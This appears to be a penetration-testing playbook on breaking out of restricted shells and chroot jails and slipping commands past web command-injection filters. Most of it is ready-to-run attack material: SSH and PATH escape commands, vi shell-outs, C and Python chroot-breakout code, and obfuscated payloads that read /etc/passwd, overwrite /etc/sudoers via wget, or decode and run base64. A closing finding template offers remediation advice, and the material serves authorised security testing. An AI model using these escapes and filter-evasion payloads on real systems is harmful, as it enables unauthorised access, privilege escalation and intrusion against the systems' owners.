Bypassing Restricted Shells

Bypassing Restricted Shells

When to Use

• You land in a limited shell (rbash, rksh, lshell, /bin/rbash) where cd, /, >, and PATH changes are blocked.
• A vendor appliance, jump host, or kiosk SSH account drops you into a menu or restricted environment.
• You are inside a chroot jail and need to break out to the real filesystem.
• A web command-injection point filters spaces, slashes, or keywords and you need to smuggle a working command.

Critical: Techniques Most Often Missed

• SSH that never enters the restricted shell — request a different shell or skip profile at login instead of fighting the jail.

  ssh -t user@<IP> bash                 # force an interactive bash directly
  ssh user@<IP> -t "bash --noprofile -i"
  ssh user@<IP> -t "() { :; }; sh -i "  # shellshock-style function trick
  

  • How to CONFIRM: echo $0 returns bash/sh (not rbash), and cd / then ls / succeeds.
• PATH / declare manipulation to break the read-only PATH — restricted shells set a read-only PATH; reset it indirectly.

  declare -n PATH; export PATH=/bin; bash -i
  BASH_CMDS[shell]=/bin/bash; shell -i
  export PATH="/bin"; SHELL=/bin/bash
  

  • How to CONFIRM: a previously "command not found" binary (e.g. id, cat) now runs.
• GTFOBins shell-out from any allowed binary — if the menu lets you run vi, less, man, awk, find, ed, etc., spawn a shell from inside it.

  :set shell=/bin/sh        # inside vi/vim, then:
  :shell
  

  • How to CONFIRM: search the binary on https://gtfobins.github.io/ for the "Shell" property, then verify you reach an unrestricted prompt.
• chroot escape needs root inside the jail — two chroots cannot coexist on Linux, so a root-owned process can chroot into a new dir while staying outside it.

  // gcc break_chroot.c -o break_chroot ; run inside the jail as root
  mkdir("chroot-dir",0755); chroot("chroot-dir");
  for(int i=0;i<1000;i++) chdir(".."); chroot("."); system("/bin/bash");
  

  • How to CONFIRM: after running, ls / shows the real root filesystem (e.g. /etc/shadow present), not the jail.
• Write to a writable+executable path, or overwrite config — when red/vi can write, drop /bin/bash content into an executable path, or overwrite sudoers.

  wget http://127.0.0.1:8080/sudoers -O /etc/sudoers   # if writable
  

Workflow

Step 1: Profile the jail

echo $SHELL          # what restricted shell are we in
echo $PATH           # which dirs are allowed
env ; export ; pwd   # exported vars, current dir
echo /home/*         # globbing still lists dirs even if ls is blocked
echo $0              # confirm the shell binary (rbash vs bash)

Step 2: Try the cheapest escapes first (SSH / PATH / allowed binary)

# Re-login bypassing the restricted shell entirely
ssh -t user@<IP> bash
ssh user@<IP> -t "bash --noprofile -i"

# Reset PATH from inside if you are already in
declare -n PATH; export PATH=/bin; bash -i
BASH_CMDS[shell]=/bin/bash; shell -i

# Shell out of an allowed editor/pager (GTFOBins)
vi ; then  :set shell=/bin/sh   and   :shell

Step 3: Defeat command/character filters (substitution, quoting, encoding)

# Binary-name obfuscation when keywords are filtered
/usr/bin/who*mi          # wildcard
w`u`h`u`o`u`a`u`m`u`i    # backtick fake commands -> whoami
who$@ami                 # $@ separator
'p'i'n'g                 # quotes
\u\n\a\m\e \-\a          # backslashes -> uname -a

# Replace spaces when " " is blocked
cat${IFS}/etc/passwd
{cat,/etc/passwd}
X=$'cat\x20/etc/passwd'&&$X
cat$IFS/etc/passwd

# Build "/" without the slash char
cat ${HOME:0:1}etc${HOME:0:1}passwd
echo ${PATH:0:1}        # prints "/"

# Case / reverse / base64 transformations
$(tr "[A-Z]" "[a-z]"<<<"WhOaMi")    # whoami
$(rev<<<'imaohw')                   # whoami
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dk)   # decode+run base64
echo whoami|$0                      # execute via $0

# Hex-encoded paths
cat `xxd -r -p <<< 2f6574632f706173737764`   # /etc/passwd
echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"

Step 4: Builtins-only RCE and chroot breakout

# When only builtins are available, read files / re-exec input
read aaa; eval $aaa                          # read more commands and run
while read -r line; do echo $line; done < /etc/passwd
source f*                                    # source a flag/file in cwd
$(printf %.1s "$PWD")bin$(printf %.1s "$PWD")ls   # /bin/ls from printf

# chroot breakout (root inside jail) - C/Python/Perl variants
python -c 'import os;os.mkdir("d");os.chroot("d");[os.chdir("..") for _ in range(1000)];os.chroot(".");os.system("/bin/bash")'

Key Concepts

Tools & Systems

Common Scenarios

Scenario 1: rbash jump host escaped via SSH exec

An SSH account drops into rbash with a locked PATH. Reconnecting with ssh user@host -t "bash --noprofile -i" lands an unrestricted bash, confirmed by echo $0 returning bash and cd / working.

Scenario 2: Menu allows only less, escaped via GTFOBins

A restricted appliance lets the operator view logs with less. From the pager, !/bin/sh (a GTFOBins "Shell" primitive) opens a full shell as the service account, enabling further enumeration.

Scenario 3: Web command injection with filtered spaces/keywords

A web parameter reaches system() but strips spaces and the word cat. {cat,/etc/passwd} and who$@ami smuggle the commands past the filter, and bash<<<$(base64 -d<<<...) runs a base64-encoded reverse shell.

Output Format

## Restricted Shell Bypass Finding

**Environment**: SSH account 'support' on jump-01 (restricted shell: rbash)
**Severity**: High
**Finding**: Restricted shell can be escaped to a full interactive shell
**Evidence**:
  - Login drops into rbash (`echo $0` -> rbash; `cd /` -> "restricted")
  - `ssh support@jump-01 -t "bash --noprofile -i"` -> full bash
  - Post-escape: `id` -> uid=1003(support); `cat /etc/passwd` readable
**Impact**: The restricted account provides unrestricted command execution on the jump host, defeating the intended containment and enabling lateral movement and local privilege-escalation enumeration.
**Recommendation**:
  1. Disable command/pseudo-tty execution for restricted accounts (`ForceCommand`, no `-t` shell) and set `PermitTTY no` where appropriate.
  2. Remove shell-capable binaries (vi/less/awk/find with -exec) from the restricted PATH, or replace with no-shell wrappers.
  3. Lock PATH and shell builtins; do not rely on chroot alone for untrusted-root containment.
  4. Prefer purpose-built restricted environments (forced commands, containers, MFA) over rbash.